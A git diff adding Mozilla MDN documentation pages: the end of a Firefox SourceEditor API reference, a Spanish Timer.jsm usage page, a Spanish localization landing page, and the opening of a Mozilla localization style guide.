+<p>Sets the current caret position given a line number and column number.</p>
+
+<pre>void setCaretPosition(
+  Number aLine,
+  [optional] Number aColumn,
+  [optional] Number aAlign
+);
+</pre>
+
+<h6 id="Parameters_33">Parameters</h6>
+
+<dl>
+ <dt><code>aLine</code></dt>
+ <dd>The 0-based line number on which to place the caret.</dd>
+ <dt><code>aColumn</code> {{ optional_inline() }}</dt>
+ <dd>The 0-based column number at which to place the caret; if you don't provide this parameter, the caret is placed at the beginning of the line specified by <code>aLine</code>.</dd>
+ <dt><code>aAlign</code> {{ optional_inline() }}</dt>
+ <dd>How to position the line with respect to the viewport when scrolling the line into view. This may be one of <code>SourceEditor.VERTICAL_ALIGN.TOP</code>, <code>SourceEditor.VERTICAL_ALIGN.CENTER</code>, and <code>SourceEditor.VERTICAL_ALIGN_BOTTOM</code>. See {{ anch("Alignment constants") }} for details. The default is <code>SourceEditor.VERTICAL_ALIGN.TOP</code>.</dd>
+</dl>
+
+<h3 id="setMode()">setMode()</h3>
+
+<p>Sets the current syntax highlighting mode for the text being edited.</p>
+
+<pre>void setMode(
+  String aMode
+);
+</pre>
+
+<h6 id="Parameters_34">Parameters</h6>
+
+<dl>
+ <dt><code>aMode</code></dt>
+ <dd>A string indicating the file type being edited. See {{ anch("Editor mode constants") }} for possible values.</dd>
+</dl>
+
+<h3 id="setSelection()">setSelection()</h3>
+
+<p>Selects the specified range of text.</p>
+
+<pre>void setSelection(
+  Number aStart,
+  Number aEnd
+);
+</pre>
+
+<h6 id="Parameters_35">Parameters</h6>
+
+<dl>
+ <dt><code>aStart</code></dt>
+ <dd>The 0-based offset to the first character to select in the text.</dd>
+ <dt><code>aEnd</code></dt>
+ <dd>The offset to the first character after the range you wish to select.</dd>
+</dl>
+
+<h6 id="Remarks">Remarks</h6>
+
+<p>It's important to note that the character at offset <code>aEnd</code> is <strong>not</strong> included in the selection.</p>
+
+<h3 id="setText()">setText()</h3>
+
+<p>Replaces a range of text in the editor with the specified string. If you don't specify a range, the entire text is replaced.</p>
+
+<pre>void setText(
+  String aString,
+  [optional] Number aStart,
+  [optional] Number aEnd
+);
+</pre>
+
+<h6 id="Parameters_36">Parameters</h6>
+
+<dl>
+ <dt><code>aString</code></dt>
+ <dd>The text to put into the editor.</dd>
+ <dt><code>aStart</code> {{ optional_inline() }}</dt>
+ <dd>The 0-based offset to the first character in the text to replace.</dd>
+ <dt><code>aEnd</code> {{ optional_inline() }}</dt>
+ <dd>The offset to the last character to replace. If you don't specify this value, the entire string from <code>aStart</code> (or the first character in the text, if you don't specify <code>aStart</code>) to the end of the text is replaced.</dd>
+</dl>
+
+<h3 id="setTopIndex()">setTopIndex()</h3>
+
+<p>Scrolls the text as necessary to place the specified line number at the top of the view.</p>
+
+<pre>void setTopIndex(
+  Number aTopIndex
+);
+</pre>
+
+<h6 id="Parameters_37">Parameters</h6>
+
+<dl>
+ <dt><code>aTopIndex</code></dt>
+ <dd>The 0-based line number to place at the top of the editor's view.</dd>
+</dl>
+
+<h3 id="startCompoundChange()">startCompoundChange()</h3>
+
+<p>Begins a compound change in the editor. All changes made between a call to <code>startCompoundChange()</code> and its corresponding call to {{ manch("endCompoundChange") }} are considered to be a single operation on the undo stack.</p>
+
+<pre>void startCompoundChange();
+</pre>
+
+<h6 id="Parameters_38">Parameters</h6>
+
+<p>None.</p>
+
+<h3 id="undo()">undo()</h3>
+
+<p>Undoes the most recent change made in the editor.</p>
+
+<pre>Boolean undo();
+</pre>
+
+<h6 id="Parameters_39">Parameters</h6>
+
+<p>None.</p>
+
+<h6 id="Return_value_23">Return value</h6>
+
+<p><code>true</code> if a change was undone or <code>false</code> if there were no changes to undo.</p>
+
+<h2 id="The_editor_configuration_object">The editor configuration object</h2>
+
+<p>When you call {{ manch("init") }} to initialize the editor, you pass in an object that contains properties configuring the editor's features. That object may contain any combination of the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Constant</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>contextMenu</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a> | {{ domxref("Element") }}</td>
+   <td>A reference to the context menu to display when the user right-clicks in the editor. This may be either a string providing the ID of a XUL {{ XULElem("menupopup") }} or an {{ domxref("Element") }} object of type {{ XULElem("menupopup") }}. See <span style="color: #ff0000;"><strong><span style="background-color: #ffff00;">XXXXX</span></strong></span> for details on how to work with the context menu. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>expandTab</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not tab characters should be expanded out to spaces. This value is overridden by the user preference named by <code>SourceEditor.PREFS.EXPAND_TAB</code>.</td>
+  </tr>
+  <tr>
+   <td><code>highlightCurrentLine</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not to highlight the line on which the text caret is currently located. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>initialText</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a></td>
+   <td>The default initial text to be in the editor when it's created. By default, this is the empty string, indicating there should be no text on startup. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>keys</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a></td>
+   <td>An array of objects defining custom keyboard bindings. See <span style="color: #ff0000;"><strong><span style="background-color: #ffff00;">XXXXX</span></strong></span> for details. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>mode</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a></td>
+   <td>A string indicating the default syntax highlighting mode; by default, the content is assumed to be plain text. See {{ anch("Editor mode constants") }} for permitted values.</td>
+  </tr>
+  <tr>
+   <td><code>placeholderText</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a></td>
+   <td>The default initial text to be in the editor when it's created; by default, an empty string. This is deprecated starting in Firefox 13; use <code>initialText</code> instead. {{ deprecated_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>readOnly</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not the source editor should be read only. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>showAnnotationRuler</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not to display the annotations gutter/ruler. See <span style="color: #ff0000;"><strong><span style="background-color: #ffff00;">XXXXX</span></strong></span> for details. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>showLineNumbers</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not the line numbers gutter should be displayed. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>showOverviewRuler</code></td>
+   <td><code>Boolean</code></td>
+   <td>A Boolean value indicating whether or not to show the overview gutter/ruler. This presents an overview of the current annotations in the editor, such as the breakpoints. {{ fx_minversion_inline("13.0") }}</td>
+  </tr>
+  <tr>
+   <td><code>tabSize</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>A number indicating how many spaces each tab character should occupy. This default can be overridden by the user preference named by <code>SourceEditor.PREFS.TAB_SIZE</code>.</td>
+  </tr>
+  <tr>
+   <td><code>theme</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/String" title="String"><code>String</code></a></td>
+   <td>A string indicating the default syntax highlighting theme to use; you may use one of the predefined values listed in {{ anch("Theme constants") }}, or you may provide your own CSS file reference.</td>
+  </tr>
+  <tr>
+   <td><code>undoLimit</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>A number indicating how many steps the undo stack should hold.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>See {{ anch("Configuration defaults constants") }} for a list of the default values for these configuration options.</p>
+
+<h2 id="Events">Events</h2>
+
+<p>There are a number of events that can be sent by the source editor, as listed in {{ anch("Event name constants") }}. This section provides details on each of those events and their properties.</p>
+
+<h3 id="ContextMenu">ContextMenu</h3>
+
+<p>The "ContextMenu" event is sent when the editor's context menu is invoked, and has the following properties.</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>x</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The X-coordinate at which the mouse cursor was located when the context menu was invoked. This value is relative to the document being edited; that is, 0 is the top of the very first line of text in the document, regardless of vertical scroll position.</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The Y-coordinate at which the mouse cursor was located when the context menu was invoked. This value is relative to the document being edited; that is, 0 is the left edge of the document, regardless of horizontal scroll position.</td>
+  </tr>
+  <tr>
+   <td><code>screenX</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The X-coordinate at which the mouse cursor was located when the context menu was invoked, relative to the screen. This value comes from the DOM contextmenu's <code>event.screenX</code> property.</td>
+  </tr>
+  <tr>
+   <td><code>screenY</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The Y-coordinate at which the mouse cursor was located when the context menu was invoked, relative to the screen. This value comes from the DOM contextmenu's <code>event.screenY</code> property.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="TextChanged">TextChanged</h3>
+
+<p>The "TextChanged" event is sent when the contents of the editor change. It has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>start</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The character offset into the document at which the change occurred.</td>
+  </tr>
+  <tr>
+   <td><code>removedCharCount</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The number of characters removed from the document.</td>
+  </tr>
+  <tr>
+   <td><code>addCharCount</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number">Number</a></code></td>
+   <td>The number of characters added to the document.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Selection">Selection</h3>
+
+<p>The "Selection" element is sent when the selection within the editor changes. It has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a></code></td>
+   <td>The previously-selected range of text.</td>
+  </tr>
+  <tr>
+   <td><code>newValue</code></td>
+   <td><code><a href="/en/JavaScript/Reference/Global_Objects/Object" title="en/JavaScript/Reference/Global_Objects/Object">Object</a></code></td>
+   <td>The newly-selected range of text.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The objects used for <code>oldValue</code> and <code>newValue</code> each have two properties of type <a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a>: <code>start</code> and <code>end</code>, describing the start and end positions of the range of characters.</p>
+
+<p>The "Focus" event is sent when the editor is focused. It has no properties.</p>
+
+<p>The "Blur" event is sent when the editor loses focus. It has no properties.</p>
+
+<h3 id="MouseMove">MouseMove</h3>
+
+<p>The "MouseMove" event is sent when the user moves the mouse pointer over a line of text content. It has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>event</code></td>
+   <td>{{ domxref("MouseEvent") }}</td>
+   <td>The DOM "mousemove" event.</td>
+  </tr>
+  <tr>
+   <td><code>x</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The X-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the top of the very first line of text in the document, regardless of vertical scroll position..</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The Y-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the left edge of the very first column of text in the document, regardless of horizontal scroll position.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MouseOver">MouseOver</h3>
+
+<p>The "MouseOver" event is sent when the user moves the mouse pointer enters a line of text content. It has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>event</code></td>
+   <td>{{ domxref("MouseEvent") }}</td>
+   <td>The DOM "mouseover" event.</td>
+  </tr>
+  <tr>
+   <td><code>x</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The X-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the top of the very first line of text in the document, regardless of vertical scroll position.</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The Y-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the left edge of the very first column of text in the document, regardless of horizontal scroll position.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="MouseOut">MouseOut</h3>
+
+<p>The "MouseOut" event is sent when the user moves the mouse pointer over a line of text content. It has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>event</code></td>
+   <td>{{ domxref("MouseEvent") }}</td>
+   <td>The DOM "mouseout" event.</td>
+  </tr>
+  <tr>
+   <td><code>x</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The X-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the top of the very first line of text in the document, regardless of vertical scroll position..</td>
+  </tr>
+  <tr>
+   <td><code>y</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Number" title="Number"><code>Number</code></a></td>
+   <td>The Y-coordinate of the mouse pointer relative to the document being edited; that is, 0 is the left edge of the very first column of text in the document, regardless of horizontal scroll position.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The "BreakpointChange" event is sent when a breakpoint is changed. This can be any of the following changes:</p>
+
+<ul>
+ <li>One or more new breakpoints were added, using either the API or editor user interface.</li>
+ <li>One or more breakpoints were removed, using either the API or editor user interface.</li>
+</ul>
+
+<p>The event has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>added</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a></td>
+   <td>An array of breakpoint objects representing all of the breakpoints that have been added; see {{ anch("Breakpoint objects") }} for details.</td>
+  </tr>
+  <tr>
+   <td><code>removed</code></td>
+   <td><a href="/en/JavaScript/Reference/Global_Objects/Array" title="Array"><code>Array</code></a></td>
+   <td>An array of breakpoint objects representing all of the breakpoints that have been removed; see {{ anch("Breakpoint objects") }} for details.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>The "DirtyChanged" event is sent when the dirty state of the editor changes. This state indicates whether or not there have been changes to the text since the last time the content was saved. This event has the following properties:</p>
+
+<table class="standard-table" style="width: auto;">
+ <tbody>
+  <tr>
+   <td class="header">Property</td>
+   <td class="header">Type</td>
+   <td class="header">Description</td>
+  </tr>
+  <tr>
+   <td><code>oldValue</code></td>
+   <td><code>Boolean</code></td>
+   <td>The previous state of the dirty flag.</td>
+  </tr>
+  <tr>
+   <td><code>newValue</code></td>
+   <td><code>Boolean</code></td>
+   <td>The new state of the dirty flag.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>If the dirty flag is <code>true</code>, the document has not been saved since the last time its text was changed. You can set the dirty state of the document by setting the value of the <code>dirty</code> attribute.</p>
diff --git a/files/es/mozilla/javascript_code_modules/timer.jsm/index.html b/files/es/mozilla/javascript_code_modules/timer.jsm/index.html
new file mode 100644
index 0000000000..5b667e8c2b
--- /dev/null
+++ b/files/es/mozilla/javascript_code_modules/timer.jsm/index.html
@@ -0,0 +1,32 @@
+---
+title: Timer.jsm
+slug: Mozilla/JavaScript_code_modules/Timer.jsm
+tags:
+  - Add-ons
+  - JavaScript
+  - JavaScript temporizador
+  - modulo
+  - temporizador
+translation_of: Mozilla/JavaScript_code_modules/Timer.jsm
+---
+<p>{{ gecko_minversion_header("22") }}</p>
+
+<p>El modulo de código JavaScript <code>Timer.jsm</code> contiene implementaciones puras de Javascript de <a href="/en-US/docs/DOM/window.setTimeout" title="/en-US/docs/DOM/window.setTimeout"><code>setTimeout</code></a>, <a href="/en-US/docs/DOM/window.clearTimeout" title="/en-US/docs/DOM/window.clearTimeout"><code>clearTimeout</code></a>, <code><a href="/en-US/docs/Web/API/WindowTimers/setInterval">setInterval</a></code>, y <a href="/en-US/docs/Web/API/WindowTimers/clearInterval"><code>clearInterval</code> </a>Que son compatibles con las funciones de ventana DOM, pero que pueden ser usadas por código que no tiene acceso a la ventana DOM(por ejemplo, <a href="/en-US/docs/Mozilla/JavaScript_code_modules" title="/en-US/docs/Mozilla/JavaScript_code_modules">Los módulos de código de Javascript</a> o <a href="/en-US/docs/The_message_manager" title="/en-US/docs/The_message_manager">los scripts de contenido de frames</a>).</p>
+
+<p>Para usar <code>Timer.jsm</code>, primero impórtalo:</p>
+
+<pre class="brush: js">Components.utils.import("resource://gre/modules/Timer.jsm");
+</pre>
+
+<p>Entonces llama a <code>setTimeout</code> y a <code>clearTimeout</code> como lo harías en una ventana DOM, por ejemplo:</p>
+
+<pre class="brush: js">let timeoutID = setTimeout(function() { console.log("¡Hola!"); }, 500);
+
+clearTimeout(timeoutID);
+</pre>
+
+<p>De forma similar, puedes usar <code>setInterval</code> y <code>clearInterval</code> de la siguiente manera:</p>
+
+<pre class="brush: js">let intervalID = setInterval(function() { console.log("¡Sucederá cada 500ms!"); }, 500);
+
+clearInterval(intervalID);</pre>
diff --git a/files/es/mozilla/localization/index.html b/files/es/mozilla/localization/index.html
new file mode 100644
index 0000000000..1a5f47f30a
--- /dev/null
+++ b/files/es/mozilla/localization/index.html
@@ -0,0 +1,24 @@
+---
+title: La Localización en Mozilla
+slug: Mozilla/Localization
+tags:
+  - Landing
+  - Localización
+  - Mozilla
+  - NeedsTranslation
+  - TopicStub
+  - Translation
+  - l10n
+translation_of: Mozilla/Localization
+---
+<p><span class="seoSummary"><strong>Localizacíon </strong>(L10n) es el proceso por el cual se traduce la interfaz de usuario de un software desde un idioma a otro, realizando los cambios necesarios para que se adapte a la cultura de destino. Estos recursos están destinados a todos aquellos interesados en los aspectos técnicos de la Localización, ya sean programadores o contribuidores.</span></p>
+
+
+
+<h2 id="Vease_también">Vease también</h2>
+
+<p><strong><a href="/es/docs/Project:MDN/Localizing" title="/en-US/docs/Project:MDN/Localizing">Localización de MDN</a> </strong>(Relacionado con la localización de documentos aquí en MDN)</p>
+
+<p><strong><a href="/es/Apps/Build/Localization">Localización de Apps</a></strong> Este conjunto de documentos aplica más específicamente a la localización de apps, incluyendo las apss de Firefox OS.</p>
+
+<p><strong><a href="/es/docs/Web/API/L10n">L10n</a> </strong>Documentos de referencia para el API de L10n que Mozilla usa para localizar Firefox OS.</p>
diff --git a/files/es/mozilla/localization/l10n_style_guide/index.html b/files/es/mozilla/localization/l10n_style_guide/index.html
new file mode 100644
index 0000000000..adde6a55af
--- /dev/null
+++ b/files/es/mozilla/localization/l10n_style_guide/index.html
@@ -0,0 +1,363 @@
+---
+title: Mozilla L10n Style Guide
+slug: Mozilla/Localization/L10n_Style_Guide
+tags:
+  - Localization
+  - NeedsTranslation
+  - TopicStub
+translation_of: Mozilla/Localization/L10n_Style_Guide
+---
+<h3 id="Intro"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Intro</span></h3>
+
+<div id="magicdomid8"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Style guides define the standard against which we determine a translation's quality. They contain rules that are both defined by Mozilla and by Mozilla's localization communities on how to best translate text in Mozilla products, websites, and other projects. Style guides are used to both translate and evaluate a translation's quality. By following these rules, a translator has a better chance of producing a high quality translation that represents Mozilla values and culture. Some examples of international style guides created by other organizations are:</span></div>
+
+<ul>
+ <li id="magicdomid9"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq url"><a href="https://help.apple.com/asg/mac/2013/ASG_2013.pdf">https://help.apple.com/asg/mac/2013/ASG_2013.pdf</a></span></li>
+ <li id="magicdomid10"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq url"><a href="https://www.microsoft.com/Language/en-US/StyleGuides.aspx">https://www.microsoft.com/Language/en-US/StyleGuides.aspx</a></span></li>
+ <li><a href="https://www.facebook.com/translations/style_guides">https://www.facebook.com/translations/style_guides</a></li>
+</ul>
+
+<div><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">This style guide is broken up into two main parts: the first contains rules that are language-specific and must be defined by each Mozilla l10n community (covering language-specific style, terminology, and units); the second contains general rules that Mozilla has defined for translators of all languages that can help you translate well (covering principles of accuracy and fluency). Please adapt part one of this style guide to your l10n community's rules for style, terminology, and units. Wherever possible, refer to existing national standards for units, spelling, and grammar in your community's adaptation of the first part of this style guide.</span></div>
+
+<h3 id="sect1"></h3>
+
+<h2 id="Language-specific_Mozilla_style">Language-specific Mozilla style</h2>
+
+<ol style="margin-left: 80px;">
+</ol>
+
+<h3 id="Style">Style</h3>
+
+<div id="magicdomid16"><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Your localization community's style is largely up to you to define. It is a part of your community's instructions and standards for translating strings within each project type. Style encompasses various elements, such as formality, tone, natural expression, handling cultural references, idioms, or slang, and maintaining consistency with Mozilla and 3rd party branding and style guides. Your localization community should define these style elements for localizing Mozilla projects into your language. Let's go through these main aspects of Style.</span></div>
+
+<div id="magicdomid17"></div>
+
+<h5 id="Formality_and_Tone">Formality and Tone</h5>
+
+<div id="magicdomid18"><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">When determining the formality or tone of a Mozilla l10n project in your language, ask yourself these questions:</span></div>
+
+<ul>
+ <li>Who is the target user for this project and what is their background?</li>
+ <li>How would a target user for this project expect to interact with this project? For example, would they expect a friendly, casual interaction?</li>
+ <li>Is formal language appropriate for all of your language's Mozilla l10n projects, or only some of them? Which ones?</li>
+ <li>Is informal language appropriate for all of your language's Mozilla l10n projects, or only some of them? Which ones?</li>
+</ul>
+
+<div><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">In fact, localization should not use a level of formality higher or lower than required by this community-defined style guideline. An example of this would be using "click here" (not formal) vs. "please click here" (more formal). Also, the tone employed throughout a l10n project(s) should stay consistent within itself. </span></div>
+
+<div></div>
+
+<h5 id="Natural_expression">Natural expression</h5>
+
+<div id="magicdomid22"><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Using natural expressions make your localization sound natural to a native speaker. If your translation does not follow the community defined language guidelines for translating content that contains local or natural expressions, this results in a mediocre and/or awkward translation. Teams should be careful to address those and keep them in mind while translating, which is why it is an important section to address in a Style Guide. An example of a natural expression in a translation would be translating the Spanish phrase, "En ocho días." In English, one might translate this as, "in eight days" or "in a week." The latter is the more natural translation, although both could be considered correct. </span></div>
+
+<div></div>
+
+<div><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">In this section, form guidelines for how to perform a natural sounding localization. This might take some time and experience to find the right examples to include or create the right guidelines for your language.</span></div>
+
+<div></div>
+
+<h5 id="Handling_cultural_references_idioms_and_slang">Handling cultural references, idioms, and slang</h5>
+
+<p><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Cultural references, idioms, and slang require a full understanding of these references between the cultures of your source and target languages. An example of a cultural reference in English would be the phrase, "kick-off meeting." This is a reference that uses an American football term. It means a meeting to begin a project. To translate it, you can follow one of two approaches:</span></p>
+
+<ol>
+ <li><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Find an equivalent reference phrase in your language.</span></li>
+ <li><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Remove the cultural reference and translate the core meaning (e.g., "a commencement meeting") </span></li>
+</ol>
+
+<p><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Define a policy for handling these cultural references, idioms, and slang that you can make standard across all projects. Consider resources you can refer back to in order to find cultural equivalents and list them in this section of your style guide (e.g., a slang dictionary in your language).  </span></p>
+
+<h5 id="Style_consistency">Style consistency</h5>
+
+<div id="magicdomid22"><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">Finally, adherence to Mozilla and third-party branding and style guides should be respected throughout a localization project. More information on Mozilla-specific branding rules can be found here: </span><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z url"><a href="https://www.mozilla.org/en-US/styleguide/identity/firefox/branding/">https://www.mozilla.org/en-US/styleguide/identity/firefox/branding/</a></span><span class="author-a-nz76zz86zs2xc75rz78zz66zz80zxz85zz71z">. For example, some brand names should never be translated, such as "Firefox".  For other brands that do not have any branding guidelines, your localization community must define whether to translate them. Be extra careful to check on branding rules before deciding to translate a name or not (whether for Mozilla or for a third-party) and to list them here in your community's l10n style guide.</span></div>
+
+<div></div>
+
+<div>
+<h3 id="Terminology"><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd b"><strong>Terminology</strong></span></h3>
+
+<div id="magicdomid29"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Here are a few existing term bases we approve of for software/internet terminology and definitions (though not limited to):</span></div>
+
+<ul>
+ <li id="magicdomid30"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Microsoft key terms and target languages  </span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq url"><a href="https://www.microsoft.com/Language/en-US/Default.aspx">https://www.microsoft.com/Language/en-US/Default.aspx</a></span></li>
+ <li id="magicdomid31"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Pootle's own term list: </span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq url"><a href="https://mozilla.locamotion.org/xx/terminology/essential.po">https://mozilla.locamotion.org/xx/terminology/essential.po</a></span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq"> (replace *xx* with a locale code)</span></li>
+</ul>
+
+<div id="magicdomid33"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">You should be consistent in the use of existing reliable appropriate term bases in your language.  These term bases could be developed and approved by the community, or leveraged from another party that adhere to national, international or local standards</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> for software and internet terminology</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">.  Avoid</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd"> the following:</span></div>
+
+<ul>
+ <li id="magicdomid34"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Inconsistent use of terminology within the project</span></li>
+ <li id="magicdomid35"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Inconsistent use of terminology with term base</span></li>
+ <li id="magicdomid36"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Inconsistent use of terminology across all of your projects</span></li>
+ <li id="magicdomid37"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">U</span><span class="author-a-w6z79zlakz82zxz85zz65zz86zz78zz89zz122zz89zd">sing terminology from another subject matter (e.g., don't use medical terminology in Firefox)</span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">.</span></li>
+</ul>
+
+<h5 id="Tips_on_translating_difficult_concepts"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq b"><strong>Tips on translating difficult concepts</strong></span></h5>
+
+<div id="magicdomid40"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Translating terms representing difficult concepts is a tricky task. Here are some ideas to help you translate terms that do not have equivalents in your language:</span></div>
+
+<ul>
+ <li id="magicdomid41"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Understand the meaning of the term in English. Definitions of a few key terms </span><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq url"><a href="http://techterms.com/category/internet">http://techterms.com/category/internet</a></span></li>
+ <li id="magicdomid42"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Know your product and understand the function of the feature. </span></li>
+ <li id="magicdomid43"><span class="author-a-z87zt8dz75zn14z76zz71z8z82zz86z2uq">Consider similar ideas for those functions in your culture.</span></li>
